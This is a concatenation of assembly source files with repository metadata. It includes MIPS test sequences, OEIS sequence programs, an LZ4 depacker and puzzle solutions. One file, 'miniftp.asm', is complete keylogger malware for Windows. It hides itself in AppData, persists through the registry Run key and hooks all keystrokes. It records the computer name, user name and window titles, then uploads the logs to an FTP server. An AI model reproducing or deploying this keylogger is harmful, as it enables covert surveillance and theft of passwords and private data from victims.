sub $4, $2, $2
TAG672:
bltz $4, TAG673
srav $3, $4, $4
sltiu $1, $3, 3
lbu $4, 0($3)
TAG673:
beq $4, $4, TAG674
mflo $4
sb $4, 0($4)
bgez $4, TAG674
TAG674:
mthi $4
lbu $4, 0($4)
blez $4, TAG675
or $4, $4, $4
TAG675:
multu $4, $4
multu $4, $4
sw $4, 0($4)
mfhi $3
TAG676:
bltz $3, TAG677
lui $2, 5
srl $1, $2, 12
lui $2, 12
TAG677:
ori $4, $2, 0
lui $2, 3
mthi $2
bne $2, $2, TAG678
TAG678:
mthi $2
sll $0, $0, 0
lw $2, 0($1)
add $2, $2, $2
TAG679:
addi $1, $2, 14
mflo $2
bne $1, $2, TAG680
sll $4, $2, 12
TAG680:
lbu $3, 0($4)
bgtz $4, TAG681
xor $4, $3, $4
bne $4, $4, TAG681
TAG681:
lui $4, 4
sll $0, $0, 0
srl $3, $4, 13
sb $4, 0($3)
TAG682:
addu $4, $3, $3
lbu $4, 0($3)
sllv $1, $4, $3
lh $3, 0($4)
TAG683:
mtlo $3
addi $3, $3, 12
slt $2, $3, $3
div $3, $3
TAG684:
ori $1, $2, 12
mthi $1
sw $1, 0($2)
mtlo $1
TAG685:
sh $1, 0($1)
ori $1, $1, 3
lb $4, 0($1)
sb $1, 0($1)
TAG686:
sllv $4, $4, $4
sll $0, $0, 0
lui $4, 4
sltu $1, $4, $4
TAG687:
nor $4, $1, $1
blez $1, TAG688
subu $2, $4, $4
ori $3, $4, 13
TAG688:
sllv $1, $3, $3
nor $1, $3, $1
mflo $3
lui $3, 7
TAG689:
div $3, $3
mfhi $2
mult $2, $3
and $3, $2, $3
TAG690:
addiu $3, $3, 6
beq $3, $3, TAG691
lui $2, 9
divu $2, $3
TAG691:
addiu $3, $2, 10
lui $1, 13
mtlo $1
bgez $3, TAG692
TAG692:
lui $3, 9
mult $3, $1
mult $1, $3
mthi $3
TAG693:
ori $3, $3, 4
sll $0, $0, 0
sltu $2, $3, $3
mflo $4
TAG694:
blez $4, TAG695
lui $1, 13
bne $1, $4, TAG695
lb $1, 0($4)
TAG695:
ori $3, $1, 0
mtlo $1
sll $0, $0, 0
blez $1, TAG696
TAG696:
mfhi $4
sll $0, $0, 0
bne $4, $1, TAG697
mfhi $2
TAG697:
divu $2, $2
addiu $3, $2, 3
sltu $2, $3, $2
bgtz $2, TAG698
TAG698:
sb $2, 0($2)
mtlo $2
bgez $2, TAG699
mtlo $2
TAG699:
mult $2, $2
mfhi $4
mflo $3
lui $1, 15
TAG700:
sll $0, $0, 0
blez $1, TAG701
andi $4, $1, 4
bltz $4, TAG701
TAG701:
sb $4, 0($4)
bltz $4, TAG702
andi $2, $4, 5
sw $4, 0($2)
TAG702:
lh $3, 0($2)
lui $2, 15
addu $4, $2, $2
lui $4, 5
TAG703:
mtlo $4
addiu $4, $4, 14
divu $4, $4
bltz $4, TAG704
TAG704:
sll $0, $0, 0
subu $2, $4, $4
lui $2, 14
sll $0, $0, 0
TAG705:
mfhi $2
mflo $2
and $1, $2, $2
bgez $1, TAG706
TAG706:
div $1, $1
ori $2, $1, 9
mfhi $2
sb $2, 0($1)
TAG707:
sw $2, 0($2)
lh $1, 0($2)
xori $3, $1, 7
lui $1, 3
TAG708:
bne $1, $1, TAG709
lui $1, 3
lui $2, 15
divu $1, $1
TAG709:
addu $4, $2, $2
bne $2, $2, TAG710
sll $0, $0, 0
mflo $2
TAG710:
sb $2, 0($2)
beq $2, $2, TAG711
mthi $2
srl $1, $2, 11
TAG711:
lui $2, 12
mfhi $3
sllv $3, $2, $2
slt $2, $1, $2
TAG712:
divu $2, $2
lui $3, 5
lb $4, 0($2)
multu $2, $2
TAG713:
beq $4, $4, TAG714
mfhi $3
lui $3, 3
lui $2, 15
TAG714:
lb $4, 0($2)
lui $2, 12
sra $2, $4, 7
mtlo $2
TAG715:
mtlo $2
beq $2, $2, TAG716
lb $4, 0($2)
mfhi $1
TAG716:
addu $1, $1, $1
sra $1, $1, 5
blez $1, TAG717
sw $1, -12288($1)
TAG717:
mthi $1
lui $2, 3
beq $2, $2, TAG718
mfhi $4
TAG718:
lui $2, 14
mflo $4
bgez $4, TAG719
multu $4, $2
TAG719:
beq $4, $4, TAG720
or $3, $4, $4
mtlo $4
bne $4, $4, TAG720
TAG720:
mfhi $3
sh $3, 0($3)
bne $3, $3, TAG721
mfhi $1
TAG721:
addu $4, $1, $1
or $4, $1, $4
sb $1, 0($4)
lui $3, 5
TAG722:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
mflo $4
TAG723:
mthi $4
bgtz $4, TAG724
mult $4, $4
multu $4, $4
TAG724:
blez $4, TAG725
mthi $4
sw $4, 0($4)
lui $4, 7
TAG725:
mthi $4
lui $2, 15
addu $2, $4, $2
bne $2, $2, TAG726
TAG726:
xori $3, $2, 8
mfhi $4
bltz $3, TAG727
mtlo $4
TAG727:
sb $4, 0($4)
beq $4, $4, TAG728
sh $4, 0($4)
lui $3, 6
TAG728:
bne $3, $3, TAG729
sll $0, $0, 0
lui $4, 15
bltz $2, TAG729
TAG729:
div $4, $4
bltz $4, TAG730
sll $0, $0, 0
mtlo $2
TAG730:
sll $0, $0, 0
addu $3, $2, $2
bne $3, $3, TAG731
xor $2, $1, $3
TAG731:
slti $3, $2, 11
sra $1, $3, 12
lui $1, 3
sll $0, $0, 0
TAG732:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
beq $4, $4, TAG733
TAG733:
sllv $2, $4, $4
sll $0, $0, 0
mult $2, $2
mthi $4
TAG734:
addu $3, $2, $2
bne $2, $3, TAG735
mthi $2
nor $3, $3, $2
TAG735:
mult $3, $3
divu $3, $3
blez $3, TAG736
sll $0, $0, 0
TAG736:
blez $2, TAG737
sll $0, $0, 0
beq $1, $2, TAG737
mtlo $1
TAG737:
mtlo $1
addu $2, $1, $1
bne $2, $1, TAG738
addu $4, $1, $1
TAG738:
lui $1, 12
multu $4, $1
lui $3, 3
lui $1, 8
TAG739:
mthi $1
bltz $1, TAG740
sll $0, $0, 0
ori $2, $1, 3
TAG740:
sltiu $3, $2, 12
sra $2, $2, 10
mult $3, $3
bne $3, $3, TAG741
TAG741:
sb $2, -512($2)
lhu $2, -512($2)
sw $2, 0($2)
sltiu $3, $2, 7
TAG742:
beq $3, $3, TAG743
mfhi $3
lhu $1, 0($3)
mult $3, $3
TAG743:
nor $1, $1, $1
multu $1, $1
sll $0, $0, 0
sll $0, $0, 0
TAG744:
bgez $1, TAG745
sll $0, $0, 0
mflo $4
multu $1, $4
TAG745:
sll $0, $0, 0
beq $4, $4, TAG746
sll $0, $0, 0
bltz $4, TAG746
TAG746:
lui $2, 8
sll $0, $0, 0
mtlo $4
sll $0, $0, 0
TAG747:
sll $0, $0, 0
addu $1, $2, $2
lui $3, 6
mtlo $1
TAG748:
andi $4, $3, 1
mflo $4
sllv $2, $4, $3
sll $3, $4, 11
TAG749:
divu $3, $3
xori $1, $3, 8
sll $0, $0, 0
sll $0, $0, 0
TAG750:
nop
nop
test_end:
beq $0, $0, test_end
nop
| 12.930625
| 22
| 0.502897
|
be30c7dba76c3ef057f6ffac43bc5e20abaacfd6
| 302
|
asm
|
Assembly
|
oeis/021/A021150.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/021/A021150.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/021/A021150.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A021150: Decimal expansion of 1/146.
; 0,0,6,8,4,9,3,1,5,0,6,8,4,9,3,1,5,0,6,8,4,9,3,1,5,0,6,8,4,9,3,1,5,0,6,8,4,9,3,1,5,0,6,8,4,9,3,1,5,0,6,8,4,9,3,1,5,0,6,8,4,9,3,1,5,0,6,8,4,9,3,1,5,0,6,8,4,9,3,1,5,0,6,8,4,9,3,1,5,0,6,8,4,9,3,1,5,0,6,8
add $0,1
mov $2,10
pow $2,$0
div $2,146
mov $0,$2
mod $0,10
| 30.2
| 201
| 0.539735
|
633bcf90e0acdfb5f5b9ef755b941c14227b0788
| 14,327
|
asm
|
Assembly
|
miniftp.asm
|
andrewcanafe/miniftp-keylogger
|
b43cedf63f650ea177a6a102ee1fe2298226c33a
|
[
"MIT"
] | 3
|
2021-07-26T02:39:20.000Z
|
2022-02-23T01:29:24.000Z
|
miniftp.asm
|
andrew-canafe/miniftp-keylogger
|
b43cedf63f650ea177a6a102ee1fe2298226c33a
|
[
"MIT"
] | 2
|
2019-12-29T20:14:06.000Z
|
2020-02-06T08:03:16.000Z
|
miniftp.asm
|
andrew-canafe/miniftp-keylogger
|
b43cedf63f650ea177a6a102ee1fe2298226c33a
|
[
"MIT"
] | null | null | null |
includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib
includelib wininet.lib
extern GetProcessHeap :proc
extern HeapAlloc :proc
extern GetModuleFileNameA :proc
extern CreateDirectoryA :proc
extern SetFileAttributesA :proc
extern GetEnvironmentVariableA :proc
extern CopyFileA :proc
extern RegOpenKeyExA :proc
extern RegSetValueExA :proc
extern InternetOpenA :proc
extern InternetConnectA :proc
extern RegCreateKeyExA :proc
extern RegQueryValueExA :proc
extern FtpCreateDirectoryA :proc
extern CryptAcquireContextA :proc
extern CryptGenRandom :proc
extern GetSystemTime :proc
extern FtpPutFileA :proc
extern DeleteFileA :proc
extern CreateFileA :proc
extern SetWindowsHookExA :proc
extern GetMessageA :proc
extern GetForegroundWindow :proc
extern GetComputerNameExA :proc
extern GetUserNameA :proc
extern GetWindowTextA :proc
extern GetKeyboardState :proc
extern GetKeyState :proc
extern ToAscii :proc
extern GetKeyNameTextA :proc
extern WriteFile :proc
extern CallNextHookEx :proc
extern ExitProcess :proc
extern InternetCloseHandle :proc
MAX_PATH equ 260
MAX_COMPUTERNAME_LENGTH equ 15
UNLEN equ 256
FILE_ATTRIBUTE_HIDDEN equ 2h
FILE_ATTRIBUTE_SYSTEM equ 4h
KEY_SET_VALUE equ 2h
HKEY_CURRENT_USER equ 80000001h
REG_SZ equ 1
FILE_ATTRIBUTE_NORMAL equ 80h
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
INTERNET_FLAG_PASSIVE equ 8000000h
INTERNET_SERVICE_FTP equ 1
INTERNET_DEFAULT_FTP_PORT equ 21
KEY_QUERY_VALUE equ 1h
KEY_CREATE_SUB_KEY equ 4h
PROV_RSA_FULL equ 1
FTP_TRANSFER_TYPE_BINARY equ 2
OPEN_EXISTING equ 3
OPEN_ALWAYS equ 4
TRUNCATE_EXISTING equ 5
FILE_APPEND_ACCESS equ 4h
INVALID_HANDLE_VALUE equ -1
WH_KEYBOARD_LL equ 13
WM_KEYUP equ 101h
WM_SYSKEYUP equ 105h
VK_CAPITAL equ 14h
VK_LSHIFT equ 0a0h
VK_RSHIFT equ 0a1h
VK_BACK equ 8h
VK_ESCAPE equ 1bh
VK_RETURN equ 0dh
VK_TAB equ 9h
VK_SHIFT equ 10h
.data
lpName db 'AppData', 0
lpPathName db '\Startup', 0 ;must stay intact with items below
lpFileName db '\miniftp.exe', 0 ;do not rearrange
lpFileName1 db '\logfile.txt', 0 ;do not rearrange
lpszDirectory db 0 ;must be zero if not provided
lpSubKey db 'Software\Microsoft\Windows\CurrentVersion\Run', 0
lpValueName db 'Startup', 0
lpSubKey1 db 'Software\Startup', 0
lpValueName1 db 'id', 0
lpszPassword db 'YOUR_PASSWORD_HERE', 0
lpszUsername db 'YOUR_USERNAME_HERE', 0
lpszServerName db 'YOUR_SERVER_NAME_HERE', 0
lpBuffer db 300h dup (?)
.code
start proc
sub rsp, 28h
mov r13, MAX_PATH+MAX_COMPUTERNAME_LENGTH+UNLEN+2
; Override
lea rbx, lpBuffer
mov r8d, r13d
push rbx
pop rdx
lea rcx, lpName
call GetEnvironmentVariableA
mov rcx, sizeof lpPathName
lea rsi, lpPathName
lea rdi, [rbx+rax]
rep movs byte ptr [rdi], byte ptr [rsi]
xor rdx, rdx
push rbx
pop rcx
call CreateDirectoryA
xor edx, edx ;optimized
mov dl, FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM
push rbx
pop rcx
call SetFileAttributesA
mov rcx, sizeof lpFileName ;consider storing sizeof lpFileName in variable
dec rdi
rep movs byte ptr [rdi], byte ptr [rsi] ;check order of register use for elegance
lea rbp, [rbx+r13]
mov r8d, r13d
push rbp
pop rdx
xor ecx, ecx
call GetModuleFileNameA
xor r8d, r8d
push rbx
pop rdx
push rbp
pop rcx
call CopyFileA
mov r12, 20h
mov qword ptr [rsp+r12], rdi
mov r9d, KEY_SET_VALUE
xor r8d, r8d
lea rdx, lpSubKey
mov ecx, HKEY_CURRENT_USER
call RegOpenKeyExA
push rdi
pop rax
sub rax, rbx
push rax
push rbx
sub rsp, r12
mov r9d, REG_SZ
xor r8d, r8d
lea rdx, lpValueName
mov ecx, dword ptr [rdi]
call RegSetValueExA
mov rcx, sizeof lpFileName1
sub rdi, sizeof lpFileName
rep movs byte ptr [rdi], byte ptr [rsi]
mov rcx, sizeof lpszDirectory
push rbp
pop rdi
rep movs byte ptr [rdi], byte ptr [rsi]
xor r9, r9
mov [rsp+r12], r9
xor r8, r8 ;check mov register-to-register optimization
xor edx, edx
push rsi ;mov rcx, offset lpszAgent
pop rcx ;WARNING
call InternetOpenA
mov ecx, eax
push rax ;check if parameter is optional
mov eax, INTERNET_FLAG_PASSIVE
push rax
xor eax, eax
inc al
push rax
lea rax, lpszPassword
push rax
sub rsp, r12
lea r9, lpszUsername
mov r8w, INTERNET_DEFAULT_FTP_PORT
lea rdx, lpszServerName
call InternetConnectA
mov r13d, eax
test eax, eax
je open_file
reg_create_key:
push rax
push rsi
push rdi
xor r8, r8
push r8
mov eax, KEY_QUERY_VALUE+KEY_SET_VALUE+KEY_CREATE_SUB_KEY
push rax
push r8
sub rsp, r12
lea rdx, lpSubKey1
mov ecx, HKEY_CURRENT_USER
call RegCreateKeyExA
test eax, eax
jne reg_create_key
mov byte ptr -1[rdi], '/'
lea rdx, lpValueName1 ;mov ecx, phkResult
mov r14, rdx
mov ecx, dword ptr [rdi]
mov r15d, ecx
mov byte ptr [rsp], 0bh
push rsp
push rdi
sub rsp, r12
xor r9, r9
xor r8, r8
call RegQueryValueExA
mov byte ptr 0ah[rdi], 0
test rax, rax
je ftp_create_directory ;could also be ftp_create_directory
xor rdx, rdx
mov dword ptr [rsp+r12], edx
mov r9d, PROV_RSA_FULL
xor r8, r8
push rsi ;lea rcx, phProv
pop rcx
call CryptAcquireContextA
mov r8, rdi ;lea r8, pbBuffer
mov edx, 4
mov ecx, dword ptr [rsi] ;mov ecx, dword ptr phProv
call CryptGenRandom
std
xor rcx, rcx
mov cl, 0ah
mov eax, dword ptr [rdi]
add rdi, 9
call to_ascii
cld
inc rdi
ftp_create_directory:
push rbp ;consider adding a label here
pop rdx
mov ecx, r13d
call FtpCreateDirectoryA
test al, al ;questionable code
je ftp_put_file
mov eax, 0bh
push rax ;push rax
push rdi
sub rsp, r12
mov r9d, REG_SZ
xor r8d, r8d
mov rdx, r14 ;lea rdx, lpValueName1 ;consider storing variable in register
mov ecx, r15d
call RegSetValueExA
ftp_put_file:
push rsi
pop rcx
call GetSystemTime
lods dword ptr [rsi]
mov dword ptr -2[rsi], eax ;sub rsi, 2
std
xor rcx, rcx
add rsi, 8 ;changed from 0ah
add rdi, 1ah ;10h+0bh ;check accuracy systime original: 10h
mov dword ptr 1[rdi], 747874h ;'txt', 0
mov cl, 2
mov dl, '.'
outer_loop:
mov al, dl
stos byte ptr [rdi]
push rcx
mov cl, 3
xor eax, eax
inner_loop:
push rcx ;manual push
mov cl, 2
lods word ptr [rsi]
call to_ascii
pop rcx ;manual pop
loopne inner_loop
pop rcx
mov dl, '_'
loopne outer_loop
mov cl, 2
call to_ascii
mov byte ptr [rdi], '/' ;check optimization
cld
;fifth parameter neglected here
mov r9d, FTP_TRANSFER_TYPE_BINARY
mov r8, rbp ;change to systime when combining alpha / beta
push rbx
pop rdx
mov ecx, r13d
call FtpPutFileA
dec al ;test al, al
jne open_file ;je open_file
push rbx
pop rcx
call DeleteFileA
open_file:
mov ecx, r13d
call InternetCloseHandle
lea rsi, lpSubKey+4 ;recycle buffer to store various handles
xor ecx, ecx
mov cl, OPEN_EXISTING
create_file:
mov dword ptr [rsi], eax ;mov dwFail, eax
xor eax, eax
push rax ;this block of code will be repositioned below FtpPutFile
xor r9, r9
push r9
xor eax, eax
mov al, FILE_ATTRIBUTE_NORMAL
push rax
push rcx
sub rsp, r12
mov r8d, 3 ;this parameter must be null for final release
xor edx, edx
mov dl, FILE_APPEND_ACCESS
push rbx
pop rcx
call CreateFileA ;check share mode for conflicts below
mov dword ptr 4[rsi], eax ;mov hFile, eax ;must save handle here (maybe)
xor ecx, ecx
mov cl, OPEN_ALWAYS
inc eax ;cmp eax, INVALID_HANDLE_VALUE ;can be optimized
je create_file
mov qword ptr 8[rsi], rbx ;mov lpBuffer, rbp ;can be optimized
xor r9d, r9d
xor r8d, r8d ; mov r8d, eax
lea rdx, LowLevelKeyboardProc
xor ecx, ecx
mov cl, WH_KEYBOARD_LL
call SetWindowsHookExA
message_loop:
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx ;WARNING MSG in rbx
call GetMessageA
test eax, eax
jne message_loop
exit:
xor ecx, ecx
call ExitProcess
start endp
to_ascii:
push rbx
next_byte:
xor edx, edx
mov ebx, 0ah ;WARNING uses ebx
div ebx
xchg al, dl
add al, 30h ;add al, 30h
stos byte ptr [rdi]
mov al, dl
loopne next_byte
pop rbx
ret
LowLevelKeyboardProc proc nCode:dword, wParam:dword, lParam:qword ;check HookProc format
push rbx
push rcx
push rdx
push rsi
push rdi
push rbp ;check prolog / epilog format, rbx may need to be saved
mov rbp, r8
push r8
push r12
push r13
push r14
sub rsp, 20h ;check if code block needs to be repositioned above
;check if nCode is zero (HC_ACTION), if so, continue
test ecx, ecx ;check correct usage of instruction, may change according to WinAPI
jl next_hook
cmp edx, WM_KEYUP
je next_hook
cmp edx, WM_SYSKEYUP
je next_hook
push rbp
pop rsi
lods dword ptr [rsi]
cmp ax, VK_CAPITAL
je next_hook
cmp ax, VK_LSHIFT ;check space optimization against al
je next_hook
cmp ax, VK_RSHIFT
je next_hook
mov r12, offset lpSubKey+4
mov rbx, qword ptr 8[r12] ;lpKeyState ;WARNING
mov rsi, MAX_PATH+MAX_COMPUTERNAME_LENGTH+UNLEN+2 ;mov esi, 260
lea rdi, [rbx+rsi]
mov r13, rdi
call GetForegroundWindow
xor ecx, ecx
cmp ecx, dword ptr 10h[r12]
mov dword ptr 10h[r12], ecx
jne window_change
cmp dword ptr 14h[r12], eax ;cmp hWnd, eax ;check cmpxchg optimization
je no_window_change
window_change:
mov dword ptr 14h[r12], eax ;hWnd, eax
mov r14d, eax
mov eax, dword ptr [r12] ;dwFail
test eax, eax ;buggy
je skip_carriage
mov eax, 0a0d0a0dh ;little-endian
stos dword ptr [rdi]
skip_carriage:
mov dword ptr [r12], esi ;dwFail, esi
mov dword ptr [rbx], esi
mov r8, rbx
push rdi
pop rdx
xor ecx, ecx
inc ecx ;check correct size of parameter
call GetComputerNameExA
xor rax, rax
mov eax, dword ptr [rbx]
add rdi, rax ;check base pointer first optimization
mov al, '|'
stos byte ptr [rdi]
mov dword ptr [rbx], esi
push rbx
pop rdx
push rdi
pop rcx
call GetUserNameA
xor rax, rax
mov eax, dword ptr [rbx] ;can be optimized, pre-initialize leading zeroes
lea rdi, -1[rdi+rax]
mov al, '|'
stos byte ptr [rdi]
mov r8d, esi
push rdi
pop rdx
mov ecx, r14d
call GetWindowTextA
xor rcx, rcx
mov ecx, eax
add rdi, rcx ;check base pointer first optimization
mov ax, 0a0dh ;little-endian
stos word ptr [rdi]
;mov rbp, r8 ;could use push / pop optimization by rearranging prolog
no_window_change:
push rbp
pop rsi
lods dword ptr [rsi]
cmp ax, VK_BACK
je get_key_name
cmp ax, VK_ESCAPE
je get_key_name
cmp ax, VK_RETURN
je get_key_name
cmp ax, VK_TAB
je get_key_name
push rbx
pop rcx
call GetKeyboardState
mov ecx, VK_CAPITAL
call GetKeyState
mov byte ptr VK_CAPITAL[rbx], al
mov ecx, VK_SHIFT
call GetKeyState
xor ah, ah ;VK_CONTROL optimization trick
mov word ptr VK_SHIFT[rbx], ax
xor eax, eax
mov dword ptr 20h[rsp], eax
mov r9, rdi
mov r8, rbx
push rbp
pop rsi
lods dword ptr [rsi]
mov ecx, eax
lods dword ptr [rsi]
mov edx, eax
call ToAscii
dec eax
je write_file
get_key_name:
mov al, '['
stos byte ptr [rdi]
push rbp
pop rsi
lods dword ptr [rsi]
lods dword ptr [rsi]
shl eax, 16
mov ecx, eax
lods dword ptr [rsi]
shl eax, 24
or ecx, eax
mov r8d, 10h
push rdi
pop rdx
call GetKeyNameTextA
mov byte ptr [rdi+rax], ']'
write_file:
xor rcx, rcx
mov ecx, eax
lea r8, 1[rdi+rcx]
sub r8, r13
mov rdi, r13
xor r9, r9 ;mov r9, offset msg1 ;WARNING
mov qword ptr 20h[rsp], r9 ;rax
push rdi
pop rdx
mov ecx, dword ptr 4[r12] ;hFile
call WriteFile
next_hook:
add rsp, 20h ;xor ecx, ecx moved below
pop r14
pop r13
pop r12
pop r8
pop rbp
pop rdi
pop rsi
pop rdx
pop rcx
pop rbx
sub rsp, 20h
xor ecx, ecx
call CallNextHookEx
add rsp, 20h
ret
LowLevelKeyboardProc endp
end
| 23.602965
| 125
| 0.59175
|
e3a07e75c045a6ecc98aed598cef00275732a34c
| 1,220
|
asm
|
Assembly
|
Projects/PJZ2/Framework/Depack/LZ4_Depack_Frame.asm
|
jonathanbennett73/amiga-pjz-planet-disco-balls
|
1890f797ec7e8061ce4bfb9a8e6844f2ce9f6e1b
|
[
"MIT"
] | 21
|
2021-04-04T06:00:44.000Z
|
2022-01-19T19:12:24.000Z
|
Projects/PJZ2/Framework/Depack/LZ4_Depack_Frame.asm
|
jonathanbennett73/amiga-pjz-planet-disco-balls
|
1890f797ec7e8061ce4bfb9a8e6844f2ce9f6e1b
|
[
"MIT"
] | null | null | null |
Projects/PJZ2/Framework/Depack/LZ4_Depack_Frame.asm
|
jonathanbennett73/amiga-pjz-planet-disco-balls
|
1890f797ec7e8061ce4bfb9a8e6844f2ce9f6e1b
|
[
"MIT"
] | null | null | null |
;---------------------------------------------------------
;
; LZ4 Frame 68k depacker
; Written by Arnaud Carré ( @leonard_coder )
; https://github.com/arnaud-carre/lz4-68k
;
; LZ4 technology by Yann Collet ( https://lz4.github.io/lz4/ )
; LZ4 frame description: https://github.com/lz4/lz4/blob/master/doc/lz4_Frame_format.md
;
;---------------------------------------------------------
; input: a0.l : LZ4 frame addr ( 16bits aligned )
; a1.l : output buffer
; output: none
;
; Depack data produced by LZ4.exe command line:
; lz4.exe -9 --no-frame-crc <input_file> <output_file>
;
lz4_frame_depack:
cmpi.l #$04224d18,(a0)+ ; LZ4 frame MagicNb
bne.s lz4_frame_error
move.b (a0),d0
andi.b #%11001001,d0 ; check version, no depacked size, and no DictID
cmpi.b #%01000000,d0
bne.s lz4_frame_error
; read 32bits block size without movep (little endian)
move.b 6(a0),d0
lsl.w #8,d0
move.b 5(a0),d0
swap d0
move.b 4(a0),d0
lsl.w #8,d0
move.b 3(a0),d0
;lea 7(a0),a0 ; skip LZ4 block header + packed data size
addq.l #7,a0 ;antiriad
bra.s lz4_depack
lz4_frame_error:
illegal
; include "lz4_smallest.asm"
; include "lz4_normal.asm"
include "Depack/lz4_depack_Normal.asm"
| 25.416667
| 87
| 0.622951
|
42e41151e9f825e20e33d87179a1485a9c068dda
| 354
|
asm
|
Assembly
|
programs/oeis/220/A220978.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/220/A220978.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/220/A220978.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A220978: a(n) = 3^(2*n+1) - 3^(n+1) + 1: The left Aurifeuillian factor of 3^(6*n+3) + 1.
; 1,19,217,2107,19441,176419,1592137,14342347,129120481,1162202419,10460176057,94142647387,847287015121,7625592702019,68630363015977,617673353237227,5559060437415361
mov $1,3
pow $1,$0
mov $2,$1
pow $1,2
mov $3,$1
div $3,$2
sub $1,$3
div $1,6
mul $1,18
add $1,1
| 25.285714
| 165
| 0.700565
|
cb6219dac1dfe318076f6fa0bb73230a16fe5f94
| 375
|
asm
|
Assembly
|
test/error_malformed_instruction.asm
|
yurirocha15/sbTradutor
|
5e1ab96537fa446c7f0f995c3e90ced7147e9b22
|
[
"Apache-2.0"
] | null | null | null |
test/error_malformed_instruction.asm
|
yurirocha15/sbTradutor
|
5e1ab96537fa446c7f0f995c3e90ced7147e9b22
|
[
"Apache-2.0"
] | null | null | null |
test/error_malformed_instruction.asm
|
yurirocha15/sbTradutor
|
5e1ab96537fa446c7f0f995c3e90ced7147e9b22
|
[
"Apache-2.0"
] | null | null | null |
SECTION TEXT
COPY ZERO, OLDER
COPY ONE, OLD
INPUT LIMIT
OUTPUT OLD
FRONT: LOAD OLDER
ADD OLD, ONE ; Erro por uso indevido da instrução (ADD aceita apenas um operando)
STORE NEW
SUB LIMIT
JMPP FINAL
OUTPUT NEW
COPY OLD, OLDER
COPY NEW, OLD
JMP FRONT
FINAL: OUTPUT LIMIT
STOP
SECTION DATA
ZERO: CONST 0
ONE: CONST 1
OLDER: SPACE
OLD: SPACE
NEW: SPACE
LIMIT: SPACE
| 15.625
| 82
| 0.746667
|
36aa8aa5259a49ed263a26d26fdcffd8d1e90fe8
| 351
|
asm
|
Assembly
|
hrm/32_inventory_report.asm
|
glupmjoed/puzzles
|
fc5e8b73abf416ca6cbac05ba024a1c582a54ce6
|
[
"MIT"
] | null | null | null |
hrm/32_inventory_report.asm
|
glupmjoed/puzzles
|
fc5e8b73abf416ca6cbac05ba024a1c582a54ce6
|
[
"MIT"
] | null | null | null |
hrm/32_inventory_report.asm
|
glupmjoed/puzzles
|
fc5e8b73abf416ca6cbac05ba024a1c582a54ce6
|
[
"MIT"
] | null | null | null |
-- HUMAN RESOURCE MACHINE PROGRAM --
-- count([FLOOR[1], FLOOR[2] .. ~\0], in1), ... -> out
JUMP b
a:
COPYFROM 18
OUTBOX
b:
COPYFROM 14
COPYTO 19
COPYTO 18
INBOX
COPYTO 17
JUMP e
c:
BUMPUP 18
d:
BUMPUP 19
e:
COPYFROM [19]
JUMPZ a
SUB 17
JUMPZ c
JUMP d
| 13.5
| 54
| 0.481481
|
839abce4563058f59fad2fea167d2d8238672469
| 1,267
|
asm
|
Assembly
|
src/memory.asm
|
matanui159/celeste-gameboy
|
66688fb8508bfaa1712e764a3416db964c51ed59
|
[
"MIT"
] | 8
|
2022-03-19T23:48:25.000Z
|
2022-03-29T04:37:37.000Z
|
src/memory.asm
|
matanui159/celeste-gameboy
|
66688fb8508bfaa1712e764a3416db964c51ed59
|
[
"MIT"
] | null | null | null |
src/memory.asm
|
matanui159/celeste-gameboy
|
66688fb8508bfaa1712e764a3416db964c51ed59
|
[
"MIT"
] | 1
|
2022-03-20T20:53:25.000Z
|
2022-03-20T20:53:25.000Z
|
section "Memory ROM", rom0
;; @param hl: Destination address
;; @param bc: Source address
;; @param de: Size
;; @effect hl: Destination end address
;; @effect bc: Source end address
;; @effect de: Zero
MemoryCopy::
; Use the fast code-path to copy pages until there are no full pages left
push de
inc d
jr .fastEntry
.fastLoop:
rept 4
ld a, [bc]
inc bc
ld [hl+], a
endr
dec e
jr nz, .fastLoop
.fastEntry:
ld e, $40 ; $100 / 4
dec d
jr nz, .fastLoop
; Restore de and set d to 0 to match the documented side-effect
pop de
ld d, 0
; Use the slow code-path for the rest of the memory
inc e
jr .slowEntry
.slowLoop:
ld a, [bc]
inc bc
ld [hl+], a
.slowEntry:
dec e
jr nz, .slowLoop
ret
;; @param hl: Destination address
;; @param de: Size
;; @effect a: Zero
;; @effect hl: Destination end address
;; @effect de: Zero
MemoryClear::
xor a, a
; Use fast code-path
inc d
jr .fastEntry
.fastLoop:
rept 8
ld [hl+], a
endr
dec b
jr nz, .fastLoop
.fastEntry:
ld b, $20 ; $100 / 8
dec d
jr nz, .fastLoop
; Use the slow code-path
inc e
jr .slowEntry
.slowLoop:
ld [hl+], a
.slowEntry:
dec e
jr nz, .slowLoop
ret
| 17.121622
| 77
| 0.595107
|
0b8cc331aae28a84c7a2972b79d2c9f2823bbe45
| 219
|
asm
|
Assembly
|
Lista2/Lista2/Parte2/Programa5.asm
|
GustavoLR548/ACII-GLR
|
135690945f5e29938ef640a3d5475f8a12dbd76c
|
[
"MIT"
] | 1
|
2021-11-03T17:22:02.000Z
|
2021-11-03T17:22:02.000Z
|
Lista2/Lista2/Parte2/Programa5.asm
|
GustavoLR548/ACII-GLR
|
135690945f5e29938ef640a3d5475f8a12dbd76c
|
[
"MIT"
] | null | null | null |
Lista2/Lista2/Parte2/Programa5.asm
|
GustavoLR548/ACII-GLR
|
